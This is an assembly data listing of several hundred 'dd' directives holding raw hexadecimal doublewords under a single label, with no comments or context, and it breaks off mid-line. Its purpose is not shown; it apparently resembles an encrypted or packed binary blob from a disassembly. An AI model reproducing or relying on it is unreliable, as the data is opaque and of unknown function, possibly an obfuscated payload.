0ABCD5678h dd 33174413h, 0B885D6B3h, 0E939BEACh, 5AB58D45h, 2A5805DBh dd 0E84DB22Dh, 7DE9827Bh, 734CD2AFh, 0D32D80EEh, 6C601A12h dd 1268B603h, 5E09875Dh, 0DE8AC2D4h, 0EB664B07h, 9D59B847h dd 6F147314h, 1E8CC56Ch, 0A70DABC3h, 0E03E5CFBh, 1512040Fh dd 2A086B46h, 0D0A3368Eh, 48F739Fh, 0B9DDCDE9h, 108F58CDh dd 4869F3A7h, 2E7986Bh, 0B4602436h, 1E9D6137h, 0BA67FE34h dd 974F0B34h, 0E06D0F7h, 0EA0531AAh, 4D9B5045h, 72E462FFh dd 0C55C1272h, 4B902072h, 0B02FBCACh, 53E97EB1h, 4D95D29Ah dd 4F59FD4Bh, 0D53BF02Dh, 0F7C0EB2Ch, 1B7FB850h, 0AC1B0F4Fh dd 5864E0C4h, 42E13502h, 0C829382Ah, 0BC4F09F3h, 728282F4h dd 0C35D06E4h, 0E9070DACh, 0D5790DCFh, 61AAD8E0h, 5E422EC5h dd 40BB2385h, 253DC7F2h, 2DB849EAh, 0A6052B1Eh, 0B27DCAEh dd 0CCA6DEB6h, 0C34C2806h, 0F5503745h, 0D329D77Bh, 9AD52B0Bh dd 0EB6BF5DFh, 6BE77807h, 92AF74E8h, 0A2046BFCh, 0E8443731h dd 62B41C89h, 0E9165A50h, 0CA3AB419h, 0A94D0AEEh, 4604076Ch dd 0EDA2336Ah, 5110FF71h, 0C675FE61h, 755F6CF8h, 0ADC461FCh dd 480AF2CAh, 5BA28418h, 638C6802h, 600C490Fh, 1667B866h dd 0BCC60D4Eh, 145AE2h, 0D3982626h, 0DEF6F34Eh, 0F0514177h dd 92974E3Ch, 3E42D58Ah, 247DE657h, 52587D31h, 5C1E6CDDh dd 0C1808D93h, 0E485090Ch, 0AA5CE0F6h, 396E8D9Eh, 0CBD2C13Eh dd 0DCEBCC14h, 89C9E8FAh, 5FB29105h, 1040CB2Eh, 29199BF6h dd 6B6EA4D3h, 0BC934CB2h, 47E9C23Fh, 25387F74h, 68806A5Bh dd 5B756542h, 20ADACh, 3564C7C6h, 5FF50170h, 0FA27845Eh dd 92BED325h, 222B61BCh, 0BD9C51h, 7404E1B9h, 0BB205Ch dd 39ED63FBh, 95D2CEE9h, 9E6069EAh, 41D60282h, 7991E104h dd 0E63C63A3h, 6FF5985Ah, 18105C46h, 41904857h, 0AFA77C5h dd 195D1E68h, 0B703D3A8h, 0BB403B51h, 120B54B9h, 0D680905h dd 7E857BF2h, 5B07012Dh, 348879E9h, 6A175FA1h, 2CE0248Fh dd 6B4F2C70h, 7D1D07BDh, 8B0CFCA1h, 0F01E9D13h, 0DA134EB9h dd 1174EE94h, 210C8FAh, 0D2584D40h, 0C7E791B5h, 409D02D3h dd 834CEFD9h, 7E4C204h, 19834DBEh, 8B174C58h, 0F5E72C05h dd 1B1E08Dh, 0CF628581h, 37F9EA2Dh, 0D988B448h, 0E3C004EDh dd 6EE3C208h, 0B1E8FA08h, 0B84B9110h, 984C1042h, 6FB1511Ch dd 5020D450h, 9B1BBDB2h, 0D1870D03h, 2762E992h, 1110C36Dh dd 4F8B2F8Ch, 1082BC98h, 0E94808C6h, 30904C2Bh, 7C4F68D8h dd 0EF8F1AA9h, 70AD4E5Bh, 0F889AFA4h, 0F0DBD97Ah, 0C8BDFAC9h dd 0B50723F8h, 8088FE51h, 35B90097h, 2936E271h, 45EDF95Bh dd 1180580h, 42B744E5h, 590704EBh, 0E15931ABh, 944F22C7h dd 2E00222h, 60455FC1h, 714DEE2Ah, 58E91823h, 315B30B8h dd 2796F148h, 0BCF9F698h, 27181F5Ch, 464E0E1Eh, 30E68107h dd 0C07E7E11h, 0C3A221EEh, 0E92CC2AAh, 47F28049h, 11B91D4Bh dd 0FB41C99Fh, 60BD3C6Eh, 32E46D1h, 0B2BF70C1h, 29A1634Ah dd 0CBB27FC7h, 177AF2D7h, 31375632h, 75773F82h, 8121394Ch dd 0E95703C2h, 9F00515Ah, 3DDB2D62h, 0FADEF75Eh, 205F4BB0h dd 535D58F3h, 941332C4h, 8A982D09h, 3180EC99h, 0B05B4FDAh dd 9A40C136h, 71BBA25Ah, 60B01D94h, 73AF5895h, 0F067C973h dd 505EC4C0h, 0C34A70F8h, 59243856h, 0EC14AEh, 9B676887h dd 74D20674h, 57582DB2h, 6A71F197h, 0A0AE8832h, 2676FB2Fh dd 0D7431CB2h, 0D1280C84h, 0AE13B886h, 5985E47Bh, 643A9CA1h dd 8C25C0E4h, 3D5EB050h, 0C852ACE0h, 880E9062h, 0D13C5BF3h dd 0A32AD2A3h, 3671937Ch, 742A970Ch, 0EEBC82CCh, 0C1DBF602h dd 0FA3DFD6Fh, 35124D84h, 3F892DAEh, 0F5340889h, 0C3635C23h dd 0ADF53CB3h, 5356C003h, 2C16855h, 5D24402Dh, 0BC60EDD1h dd 0AE2F3245h, 84A1FE63h, 824CFBFFh, 0BCAC9525h, 78161316h dd 86A83E8Eh, 3C1F6083h, 0D7F50C02h, 5E7D7926h, 0C72E1EBCh dd 55E9989Dh, 0D8420A5h, 0F128E166h, 36FCC189h, 0C71DD165h dd 81A9D4BBh, 28F8FB27h dd 1819A98h, 30EAAD4h, 0A3E3C61h, 850A0401h, 8DD2C3E9h dd 0C38214E8h, 0FF02079Dh, 0FE57D9BEh, 3EF54053h, 0B9F250Ch dd 30C1D2C1h, 0F4000528h, 0D34B424h, 62353EB9h, 0ED659032h dd 0F4F7222h, 49C28A45h, 3258D4E5h, 6FCC801Ch, 3067C4C0h dd 5851E9E6h, 2484B35Dh, 3F4B0E96h, 1183CB4Bh, 5A78E84Bh dd 5D61597Bh, 0FDF82117h, 0C6A89319h, 868AA1h, 2725502Dh dd 21887555h, 58088907h, 406E5905h, 0AC38BE81h, 7B959437h dd 7948BCE3h, 1078432Eh, 5C5B2DBEh, 0B5C2C4B9h, 76B03A1Bh dd 4857B6D8h, 685303C6h, 98769BEh, 75D2D35Eh, 5955311Ah dd 0F868C163h, 0C21B6C3Dh, 841639E7h, 0BBF840E6h, 0DAF7861Dh dd 0C5F30F67h, 4AC5F16h, 497CB2B4h, 89EC4EC4h, 0F40DACB4h dd 40C5C988h, 0D62FF7C3h, 0FA4AF656h, 77C5F41h, 0A148AD52h dd 772E6897h, 520B6232h, 404BFE88h, 170AC2BAh, 5585E812h dd 2A1929FFh, 680A6B8Ah, 59774D54h, 6C43A5C3h, 0E9541337h dd 0E1DCE4C2h, 14410524h, 0B562D82Dh, 31E2CCD9h, 0CD225FC3h dd 9C5F4844h, 0DC8CFCDEh, 0C5702FF9h, 6AB6FD5Fh, 68AFC05Fh dd 45B90788h, 0CEA87EADh, 0BF250A16h, 8C5A93F1h, 490B2D56h dd 0F454CE62h, 0B507207Bh, 0C3671A59h, 6C3D2E81h, 16946820h dd 0BB42AC64h, 440F0402h, 88905536h, 894A2CE9h, 21D08AD0h dd 0E7C7644h, 6423C4EBh, 0ACDFD7DFh, 0F8019291h, 499741A9h dd 0C408E170h, 0EF5DEBCFh, 55433DD0h, 4B5309BDh, 9D9878D4h dd 3A2610E3h, 0DC02BF77h, 706DB782h, 34E91312h, 0ED0E5768h dd 11E9B1A5h, 5B164E2Ch, 79298189h, 0C7EA1047h, 32DD2733h dd 80CE6CAh, 7616DC0Ch, 0D11A12F1h, 0D316814Fh, 8A2F2B31h dd 5D5A1F51h, 0C268D242h, 8823597Ch, 2812CAC0h, 36123BECh dd 0C0DD343Bh, 0B35338A7h, 42E0625Ah, 25D2403Eh, 0CF51B801h dd 7E8C10Ch, 5060687h, 566ED3A5h, 60DB0DA8h, 0C689F403h dd 2D81F9E9h, 8473DD69h, 1E6BC08h, 80FEDBAh, 0FCE1E879h dd 0B30D90B5h, 70B53869h, 285BDD0Bh, 0E90562F9h, 0A153BB2Bh dd 0C3115CBFh, 3D1F359Ah, 5A9BF3B0h, 53EF7A16h, 2E374041h dd 0B77A015Fh, 600C419Fh, 871AD5A0h, 2B0649CDh, 0A11CDDE0h dd 0C05AF1B0h, 13D2BFBCh, 5EB749BFh, 576D12DDh, 211CAE5h dd 1772D196h, 941828C3h, 7B124FC3h, 0C2A4F6A2h, 999AC4D2h dd 634D10D7h, 0C2989755h, 7994ED9Fh, 45E75AE5h, 0B1FC0225h dd 0F6A71353h, 0AB341AE9h, 0F88966DDh, 0D29E4FF8h, 54784D0Bh dd 0ACE1C02Ch, 0FD08C10Bh, 0D7009B8Eh, 0FE305A66h, 736F5591h dd 6851A501h, 312A78AEh, 29B13DAh, 0F4437D5Dh, 68D9D89Bh dd 56B27BDBh, 0F9A2FD84h, 0AEEC770Eh, 17AF3BD7h, 71BE9AEh dd 66177AF6h, 55E95720h, 8C7B95A7h, 0F84A6410h, 32CA5F01h dd 1E4EF27h, 5A58D988h, 0DCAE60F3h, 913868B5h, 8018BF45h dd 0ED9D0601h, 2D0D351Fh, 9961600Eh, 961E54Fh, 0F62A382Fh dd 0F914809h, 32067FBEh, 0B48813EEh, 0F64E5547h, 191089CEh dd 0A56809D4h, 6053546Bh, 18C66DEAh, 0F9D50125h, 5B5D0AE5h dd 0AC7F4B87h, 0FE5193AEh, 0F8296D3h, 0C19F15BDh, 92F5812Ah dd 3027D17Bh, 2E71FC96h, 0E51F0E7Ch, 56D84F43h, 5022320Ch dd 40F9C57Eh, 4AF0BA7Dh, 87687C26h, 0AF773203h, 48F2B075h dd 97CC74D3h, 16571C8Bh, 0B78C906Ch, 312575F2h, 58C174DFh dd 5F59F989h, 59E9825Bh, 25DBC59Eh, 0E9F1ACD6h, 0DE3CEAF1h dd 0D261A8C9h, 7C1F3659h, 5F315149h, 0C3CEF6B1h, 4E20A0BAh dd 3E689DEAh, 0C1E91EBh, 0C35645FDh, 2E8BA00Ah, 55D81142h dd 6A157E5h, 0E9090211h, 7564F156h, 11D0ECF0h, 6C181049h dd 4E2DAD3Fh, 0B877F809h, 0C8A1F70Bh, 0D962BB18h, 0B230D55Bh dd 0C49170E6h, 0E008E648h, 0E4BE024Bh, 2141DB2Dh, 0F115AF12h dd 85C9758h, 0D02554B7h, 0CE7A203Eh, 0B4A632DCh, 5E2D38A4h dd 0B3B25E6Dh, 98A26827h, 515597h, 0E51031B9h, 0F992E92Bh dd 0C0295ACAh, 424F9E40h, 67708869h, 0D9A5582h, 4B46B380h dd 4F776BB9h, 5D5F5516h, 47EF1C44h, 67E9C0EAh, 0E7EC1468h dd 0EC7DE20Bh, 0BD5A8009h, 97410846h, 0E0BF9852h, 40BFFE2h dd 0CE948C4h, 3F8CAB90h, 5C1C9052h, 8F8157AEh, 8017B119h dd 672CE00Ch, 90F5314Bh, 8DBB5FE4h, 0AB983B6Ah, 0B95A4FD0h dd 4CAC92F5h, 929CBCB4h, 0AD3A90ACh, 0B4659B17h, 357D926Bh dd 6100150h, 33B74504h, 281A5429h, 28420C13h, 0BE90C1Ch dd 12C263B5h, 419361C9h, 4A024FEFh, 7918831Dh, 7323A456h dd 3E97E00Ch, 2868295Ah, 240C3408h, 4B201414h, 0BC1C6D00h dd 0DAB8504Bh, 312A4114h, 0DF294EE7h, 62096A7Ch, 0F1586B22h dd 5CC23220h, 7312F66h, 3B7F2CAFh, 0C4B767A0h, 0AA5BF80Ah dd 520176E3h, 0F2788BAh, 0B251303Fh, 67B04F1Dh, 2CDFE280h dd 25E910CEh, 0F745853Bh, 8AD4FC0Ah, 237C3140h, 0CD02F644h dd 0DC6A642Dh, 5253A968h, 563178D7h, 0B41E4325h, 2D86227Bh dd 0A8476B7Fh, 91704F9h, 0AAE95E1Eh, 65FF66C2h, 0DFA988EEh dd 8542891Ah, 64D401D2h, 0C404EE25h, 0BB13C74Dh, 42215821h dd 33BC1B04h, 8681A05Bh, 0EB05F87Ah, 4402E682h, 7309D4Dh dd 59806D77h, 37692768h, 489F2A4Eh, 0B5D2F1D0h, 46F600CCh dd 0A79A0976h, 5BE94912h, 0CB58954Eh, 0D0D26362h, 5844EE80h dd 0F6202D53h, 1FD8283Ch, 0C38FDDB3h, 7193A47Eh, 55CB3FE8h dd 2D6E96D5h, 5156959Bh, 0AD106552h, 0E0158D5Bh, 0F72D009Bh dd 293E1C61h, 70551D0h, 97F1AD01h, 9747BF05h, 2A64409Ah dd 2E002BC5h, 7A9F0FDFh, 16D29F31h, 0E94D04C1h, 9626D2Ch dd 38F7C693h, 0DE4E5F17h, 35809BFh, 34FA8900h, 0A99064AFh dd 80A7659Fh, 433DFAEAh, 6CD701D2h, 0AF8438ADh, 5944AF49h dd 590C55A9h, 6C0FE4B2h, 0A550310Eh, 49EA88CFh, 46DEBB28h dd 0E9D16E2Ch, 536640FDh, 199F3814h, 9C78EC5Ah, 31BE8513h dd 3B9E4542h, 5EB3E277h, 727B4D67h, 20CF6809h, 7F6733D6h dd 41449E12h, 0BDDD9BFEh, 48AD5460h, 3FDE8E8Bh, 810C662Ch dd 685758C6h, 4E92F767h, 0E5F03570h, 0D1A8C295h, 0E872C9EFh dd 0CD7F4632h, 855857EFh, 0E967DC9Ch, 14B970D4h, 0F65DCD05h dd 2607AF59h, 0CFF0DFF7h, 9701529h, 7E24E961h, 57A3B710h dd 81196601h, 0B40AF1F3h, 2EBB070h, 12FA6049h, 0E47DC383h dd 0ECF3383Fh, 54D4610h, 0B6DA627Ch, 91A282FAh, 598A143h dd 0FC506A56h, 0FF4A8088h, 9E065C25h, 0C2CBA664h, 9D769912h dd 96024DDCh, 590AEB11h, 0AB253479h, 25E9F3E0h, 3D71400Eh dd 0F68A1442h, 0B224AADh, 20DE0CC0h, 80A00808h, 0C51C4DC6h dd 0C29D2917h, 0E9080121h, 268EF3EBh, 0AE322A68h, 57888531h dd 0FEF46568h, 0B72D2398h, 106F452Ah, 58F727E8h, 9D7FF278h dd 0EF54D605h, 5CC1F50Bh, 91712FA4h, 4261DEEBh, 0CF0FDABCh dd 0A1259EDh, 0BF58C034h, 34CC8679h, 0C0B88184h, 0AA4BB4CAh dd 0D5915FAEh, 292F98DBh, 9A8B39F9h, 8510D5CAh, 0AC20415Bh dd 0CC7F0B71h, 0AB7C0AD0h, 0C66FB31Ch, 0BB61B993h, 7DC6DFA7h dd 0F608331Ch, 6D34BD81h, 132F2E01h, 8E116F9h, 5F13C235h dd 12F97D54h, 9C8DC384h, 0C9BE5CCEh, 0E9585CFEh, 0AB0E9552h dd 0C1AA0114h, 60887E6h, 50910CBh, 85F40F70h, 0AA398609h dd 75D02010h, 84DBF31h, 18885FD5h, 890C7B11h, 629D10C6h dd 6773088Ch, 2ABB802h dd 9C02E2CBh, 86A703B1h, 36703818h, 818F6C08h, 7803C26Fh dd 0CF281075h, 49771039h, 18E13E18h, 8C4A2DCh, 1048083h dd 0EFE704C1h, 4D2F604h, 0C80695EDh, 0AA314062h, 0BA940887h dd 50DA1888h, 1912E108h, 0F7E8717Ah, 0C4632018h, 0C67CF308h dd 8740118h, 18564133h, 0D349108Ch, 3944310Eh, 899897B2h dd 89C31817h, 608B08C4h, 20986906h, 2063E820h, 0C1636A4Ah dd 10863EB1h, 108A4D08h, 642A9F74h, 986354A4h, 104463C6h dd 81888E3h, 0C0187DF8h, 457B806Bh, 0C6DD5380h, 204B5908h dd 33D85D20h, 60101ABEh, 1E13048Ch, 47FCD04h, 81063727h dd 0B131080Ah, 0BE41858h, 88CC5601h, 0C7AC410h, 8C71DCB6h dd 8D4F10C6h, 6CCF2008h, 0CE806F7Eh, 0F7E1C863h, 1884600Ch dd 50944087h, 1C104063h, 7F081A8Eh, 0D4318B7h, 424C1018h dd 8052D708h, 20CAF212h, 9088C469h, 60C01ED4h, 0ABB4F454h dd 0F0317092h, 49DF08E0h, 15F7201h, 2E016483h, 0FD6F01AEh dd 8048BB02h, 2C80669Bh, 52548142h, 0BC2356B4h, 49202401h dd 0A6B28864h, 15676208h, 0D910E01Fh, 513F186Eh, 0C6BFD308h dd 214B7918h, 62602140h, 49651092h, 12935903h, 51859608h dd 0DF319C4Ch, 176C019h, 370164FCh, 461088B2h, 0A1DD0870h dd 8B3350Ch, 204892D4h, 0CC24F961h, 6992E4A0h, 10ECF84Ch dd 8BE62ABh, 0C90AFFF2h, 0DF030831h, 3EF7F01h, 67C110BEh dd 7D2455h, 186C9B8Ch, 87E6371h, 18109091h, 7510B4C2h dd 817419BAh, 88C10C9h, 0B316ECAh, 8196A080h, 0A2282472h dd 2D104E62h, 48180215h, 3281E506h, 0B310E85Fh, 5C6B8CA2h dd 70D30104h, 0D78110ACh, 108224EBh, 8DB2288h, 5715D6E0h dd 0D45D3F84h, 0FC269CCCh, 0D04BA4E8h, 41B12461h, 39C79E53h dd 103EC918h, 2C03473Bh, 13EB0275h, 0B90E1B89h, 5D03DA7h dd 8F004401h, 0C90B4940h, 588BF775h, 1374B074h, 0AEF003DEh dd 0C0336321h, 32B10FE0h, 0AC2C304Fh, 7708E1h, 0B5E78DE9h dd 579F4AAFh, 9670515h, 4988AF0Ch, 0B8BD5B6Ah, 0D4336D0h dd 64346022h, 1604D8F6h, 54BC524Eh, 1E0238C6h, 0D6345576h dd 0CDF20C49h, 0EE59893Bh, 0D3B951C0h, 6003826Dh, 4AA4E981h dd 0F17402BBh, 0FBC7232Bh, 1A147255h, 540403E9h, 0F62D017Eh dd 0DCE95045h, 8DF3F15Bh, 0E9D97A18h, 6A24A8E5h, 0ED021F46h dd 825C2718h, 1129585h, 0C3358C68h, 0F2E2BF84h, 1A71BF97h dd 5E026F25h, 892EDFEEh, 6DC0B951h, 5C16151Ch, 7309B58h dd 3381CBBFh, 0EA7A527Eh, 5169FDBCh, 88E9848Fh, 0CD8EBAB5h dd 0D030F762h, 0E9AE9855h, 2D0240B1h, 0D25B3804h, 63C4C110h dd 0B3FEAB0h, 0D9F731C5h, 0AF3A4254h, 0FC064D1h, 20F25C06h dd 4680F8A6h, 5E0B2978h, 0FC024368h, 0B0B06743h, 0DEF74735h dd 1C5F897h, 6D1642CBh, 55138BE9h, 2B37EE16h, 0DE8F69Bh dd 110936Dh, 400E285Ah, 2961B98Ch, 9E159631h, 0B9608108h dd 662D126Ch, 9F500441h, 0BBCEFBF4h, 5B62680Bh, 1ABCB17Fh dd 55A456B0h, 0AA1F7CBDh, 0FC4DACB8h, 212F1A4Bh, 0A74A27F9h dd 91D7612h, 32F58DBDh, 48167DF8h, 5F693362h, 454054Dh dd 0F43929F2h, 3A5E35A2h, 10CF7083h, 2C168F8h, 0E132A0BFh dd 70541Ch, 0CD7B7D05h, 1D382D76h, 0E99386AEh, 9C9506D8h dd 466F0B6Ch, 0E39A3057h, 43663B20h, 3EBF5700h, 310C9C3Ah dd 6DD77C62h, 0E3B60028h, 5A39F308h, 518E8580h, 84EBDD88h dd 46CABA6Ah, 1E10BED6h, 0FD3985D7h, 0C9E9BEAh, 23D84EE9h dd 5A1100EBh, 0BA527D71h, 743733DBh, 0F503A06h, 5EC1652Ah dd 0C10F87E2h, 775E17Ch, 3B407569h, 450558AAh, 1FCDE939h dd 0BED361A9h, 0E9E8CC60h, 0F82664Ah, 5D04DDEFh, 0A4B6850h dd 0BD927DB6h, 2D65D2EFh, 48E2D5B8h, 0F972E6A9h, 32F5724h dd 62A451A7h, 2A54F986h, 5965EB81h, 1CF03666h, 8736CA38h dd 0D053889Dh, 5055AD00h, 3B041CB8h, 0B36E1DFBh, 72BD7521h dd 462315Dh, 0B470FE07h, 76B31963h, 5A57145Bh, 3D00935Fh dd 8104B147h, 1013DECDh, 8A017B90h, 67C92C1Eh, 5B8F1882h dd 0CB041F73h, 681718EBh, 3765E8Ch, 7F8EE918h, 16DDF7A0h dd 0CC574868h, 2D902B94h, 0D5094501h, 97E9525Ah, 89C002Bh dd 0D0F65BF8h, 2F0B2C3Eh, 0C2CAC94Dh, 0E45FA92Eh, 0DB09C344h dd 0EF4927FCh, 0CD3C7717h, 0AEF20747h, 0E9540F70h, 9F30D23Ah dd 39801EB6h, 0CE8445E6h, 0D5FDE918h, 384EF69h, 0A8B024AFh dd 16CE34ADh, 5D0A18ABh, 0E98044B9h, 914D4872h, 50BE42A4h dd 0F770B4h, 0E9E1CC10h, 0FCD44B51h, 0D864A40Ch, 0D913AAB9h dd 5FE7A427h, 500C5300h, 152BD405h, 12FCEA31h, 0AE29E84Dh dd 75075610h, 0F85E11A1h, 6F32E9F8h, 0F5FE73CAh, 3E4CE640h dd 24BB85A0h, 115E7717h, 0B2D755F4h, 0D1D8F5C8h, 0E20CD79Bh dd 0CF87C715h, 0F753DF20h, 0CCEE8014h, 0A3D52EBFh, 303DB641h dd 526A3AEEh, 0C8958368h, 95DDCF37h, 459DD8E6h, 44158D73h dd 9EB1FF3Ah, 0C24B4137h, 0E0C000B1h, 0E5042F07h, 0CF3906D2h dd 62F780D6h, 0C05BFE30h, 685FDEEh, 0D33BE906h, 73F72903h dd 0E01B780h, 662128BDh, 27F7BA61h, 2FE310Bh, 805AD60Bh dd 554FC87Bh, 828B928h, 54270678h, 0B6350C7Bh, 4802BE0Eh dd 89424079h, 0C302E0F3h, 3921767h, 41A91E61h, 293F2E06h dd 0F271DFh, 0E82D5B08h, 74DA6414h, 70528D8h, 2CC35F5Ch dd 0A3689D37h, 1D0A2604h, 780E384h, 4F2566E7h, 906EE060h dd 50BD10B2h, 82C604C6h, 94F03h, 3C374030h, 0D2A176E9h dd 0A2541327h, 0FF3189B8h, 161B44A1h, 0DFDC6F01h, 900DD7C7h dd 0BA2B2662h, 5920F4B0h, 9F9AC4B3h, 21E9C232h, 26569C5Dh dd 3FF3EDC1h, 0F77F5F80h, 390B68FFh, 7CAC2BE1h, 0F4C0F8D3h dd 2784F3C9h, 0FC7856E9h, 3015C4A8h, 4B6A5F8Dh, 2089680Ch dd 571E2C5Bh, 0D44436CBh, 4F0760D2h, 81B82E5Ah, 6815D1B2h dd 14814CB6h, 77478B5h, 46CB29FDh, 1289DFB3h, 0E2FB416h dd 0C462D9F7h, 0CE83B387h, 0F917E82Ah, 640103E1h, 1CA0605Eh dd 0B862BE71h, 83262A07h, 743D52B9h, 25335E09h, 97F7947Fh dd 3E2EABC0h, 0BB0C6261h, 0E17B1338h, 834A0F7h, 9140CD0h dd 0F743A9E9h, 3A503D11h, 9B904DB3h, 171FB993h, 0F76076CBh dd 2230CA2h, 0E9D6F773h, 0EC521AF6h, 8A3081B2h, 0EB8030C5h dd 0C7043D78h, 142C7918h, 0D3EEF509h, 0D997CEBAh, 1B28D0Ch dd 0F9AFFC48h, 2AE79895h, 632EFD0Fh, 1D103328h, 0F94E250Dh dd 7BF3D34Bh, 0DF5DE915h, 17F2A250h, 21601E6Ch, 8BB80160h dd 894FEEAFh, 6BE3FE6Eh, 0C92F79F0h, 8027CA7Ah, 5718B2E0h dd 0CD5B5F29h, 6ACA3EE2h, 44D1944Fh, 0BFB2A68Ch, 3F5C419Ch dd 60795553h, 0D0BAA380h, 305C9750h, 0E714883h, 0CCE923B6h dd 5BB32254h, 0AFEC8451h, 7130B78Dh, 0BB12C0ABh, 42087D87h dd 412F13F4h, 5937C401h, 680856D9h, 0E90646E0h, 50A8675h dd 0C380852Ch, 4F5DAA4Eh, 0BDE6987Fh, 165E351Eh, 0E005B62Dh dd 0A324081Fh, 80008243h, 294C3268h, 4BE914C6h, 592FEEDh dd 0CA2705DFh, 0AA8A4AD3h, 85A5F94Ah, 0F8504AE5h, 574604E8h dd 0C4BF3BDBh, 0B10716C7h, 7BC82A7Ah, 5D0E4086h, 427022ECh dd 213F20A0h, 0A233B32Fh, 5712479Ch, 942F0AC7h, 0FF739F66h dd 94F1AB2Fh, 510225FFh, 0B6FE1F90h, 0C780F09Ch, 20C23E66h dd 0CBFB7929h, 6CE85AB1h dd 87B3F013h, 1232652Fh, 14730C53h, 3E0CBF12h, 14696665h dd 0F7C9C02Dh, 82408405h, 3C41C790h, 5AC3F67Eh, 3504E6D5h dd 8D5DBB5Eh, 812E3D45h, 7907EFD2h, 0C8237FDh, 54A82334h dd 86928F5h, 14090C34h, 0CA885C5Dh, 0A59824ECh, 98C1171h dd 57590A88h, 0BE006F58h, 317635EFh, 0A8C5FF56h, 0BC03575Eh dd 0F63B1941h, 5417000Ch, 0ADBF7A51h, 29F41359h, 4E27509Fh dd 5B160FF8h, 4204C82Fh, 0C0C69471h, 520497DFh, 0A1BF0E02h dd 77106C09h, 0C14F4100h, 0EAC103E7h, 538A1447h, 8306128Fh dd 1284FF2Bh, 0D98126Dh, 90CCB55Ah, 536EEE90h, 0AEFD1680h dd 129BEB4h, 8C018E53h, 50E262ABh, 0FB1DF883h, 4BE8384Fh dd 0A56384F4h, 0E6347A60h, 0EA5C02AFh, 0F860D801h, 81DE8A4Dh dd 0B84C7BC2h, 5500574Fh, 23A02707h, 40BD2BFh, 1B7CC0C2h dd 0F5E4BB78h, 0EBD130E9h, 19DEEACDh, 926F613Dh, 70401ABCh dd 0BD55F101h, 10260388h, 0F6CD8123h, 0D863ACC9h, 221F28E5h dd 0ED017F69h, 0F9E0A910h, 80786530h, 0F4E0DDB4h, 9112C599h dd 99EF5E52h, 0E6E02EEEh, 0E9FFC25Dh, 0AA72E12Eh, 0D226180Ch dd 9118640h, 3173DB50h, 0C801F982h, 26051A63h, 61BB3E9Dh dd 7FBB588h, 899A197Dh, 0AC4174CEh, 4D134F7Eh, 28213DFBh dd 3468C54Eh, 4EDB08C8h, 0A06F41CBh, 0EF47F363h, 70173469h dd 433D0BEEh, 9C907A35h, 2C241CF8h, 0B23DC913h, 5C324D8Dh dd 185D25BDh, 8679AA1Eh, 82252069h, 6F344603h, 50912760h dd 0C10E7132h, 0A1F37E58h, 35ED81D3h, 0AB7C556Ch, 254F208Ah dd 0BA9F85A9h, 0E54B5A9Eh, 0A4A67C56h, 4B3C5FEEh, 9C3402C7h dd 0A6A01097h, 323ABDF5h, 2A545DDh, 123D6E9h, 0FFC99D5Ch dd 24FB7496h, 4BBA4595h, 9EF2E91Ah, 149EDD0Ah, 4767999Fh dd 3A2D7874h, 0BC4B1D0Bh, 0F2742EBEh, 0CF895A84h, 0AA6861EAh dd 31312465h, 5B4ED078h, 20501D83h, 8B3ED91Ch, 5A39630Bh dd 4FF7E956h, 0A9D2A838h, 38212DAAh, 80C5B9F3h, 6B261605h dd 0C8122D79h, 80A44AACh, 701A615Fh, 1CBAA6D3h, 4E14C10Ch dd 0C44D0DE2h, 0A19AF3E9h, 0D60B829Fh, 974290A8h, 0F76024D2h dd 0F3702ABh, 0FA552D47h, 0CA054043h, 9611F402h, 0A01DE4E9h dd 4D83BD3Fh, 93C1764h, 1ED7B8EEh, 0E58D6092h, 0F79C1201h dd 1B493816h, 0E3B5B25Fh, 434C2E52h, 573A043Fh, 0C1C380BFh dd 0FD092132h, 0E83E5FE9h, 27DA6E30h, 8BE8026Ah, 157B68EFh dd 485B1A24h, 0AD58F1A5h, 682DCBDBh, 0B6BB72A0h, 0FA2DC53Ch dd 0E38DB58Ch, 32C28C6Fh, 22CBE65Ah, 3657EA27h, 29E926D6h dd 8099A22Fh, 907F1CBBh, 0F1813F48h, 0BB992094h, 0DBDF0376h dd 0E3E94145h, 0D9B7348Eh, 2C7A626Fh, 0E2A5A653h, 0E466FFC4h dd 0B6A884E8h, 8132BC9h, 9E1F09D3h, 0A8952556h, 938317EFh dd 0C1CC5916h, 22879EEh, 1B53775Ch, 0E716F024h, 27846B37h dd 0EF4B3AFCh, 19043174h, 0BC12A0D1h, 17873217h, 5FF34233h dd 8C2959CCh, 5808BFD9h, 5BB1F12h, 8633DD21h, 29780B51h dd 0FE02DB94h, 0E3249760h, 80361071h, 6B092FDFh, 0AC6DD31Ah dd 0B007DCB4h, 0D532091Dh, 0F2091FC9h, 0EFCACFB2h, 0CE2AA2D5h dd 366ED581h, 82426FBFh, 10AC6855h, 0E54FFCA3h, 5BB8D102h dd 633A4505h, 38F3A834h, 0E68637Ah, 29F3E8D1h, 0CDC034FAh dd 0FBBF2EA5h, 92DD49D0h, 0B5A5757h, 58310B3Ah, 792F2532h dd 0AF368D6Ch, 571E603Fh, 45BC730Fh, 0B47FA45Bh, 8D2BC8F1h dd 0CBB3F0DAh, 8462E3BCh, 28E77DABh, 81ED5C13h, 4E8BEEE5h dd 0AAB264CEh, 60323678h, 0EBEE176Eh, 9AC42E72h, 83E27CF7h dd 0AB936A51h, 94F5B254h, 22AEE5F1h, 0F3C80788h, 0A29F4068h dd 542AB133h, 1C521F7Ah, 6BBE492Eh, 7416C6F8h, 0CFB0FB04h dd 36572433h, 0D100B3Dh, 7425A9D1h, 0BB1034E2h, 4025618Ch dd 0C26001F2h, 9849EC4Ah, 0D8D6FB7Ch, 80590E9Eh, 0C66556F6h dd 0EAC0EB61h, 5AB05051h, 0AAD124E0h, 0E98341E6h, 0BB8484A2h dd 894F44F3h, 91BD2F43h, 62C6E983h, 5D0A2Dh, 77FFEF6Dh dd 0C7E60FAh, 49C24664h, 3D0653B7h, 98B00B20h, 8C30CE76h dd 79410C74h, 127166Eh, 120405FBh, 3835A318h, 25329348h dd 44F1A0B5h, 0D75F0C48h, 0D2B8B363h, 74849E1Fh, 4A06A15h dd 278013F1h, 0C9A001BBh, 70583A8Eh, 0FC0BE9D1h, 55FA59BEh dd 0E6024F92h, 1AF940ECh, 0F2D4E9E1h, 0DEBCA005h, 0CA810B94h dd 2F3A46F5h, 4BC69E40h, 0E92E054Ah, 0EE010AB7h, 0B64F3E8Eh dd 0A4E91221h, 0EEC1B981h, 43FEF07Fh, 3A603312h, 0D343C9A1h dd 6822A8BBh, 0DE89045Fh, 0C8ECDAE9h, 7D13C321h, 17FF694Fh dd 0B313A8C5h, 485A0281h, 0D6017471h, 36B7FE78h, 5508C1E6h dd 0A609BDE9h, 0BF0351C9h, 0D5B931CEh, 0BB6E10FBh, 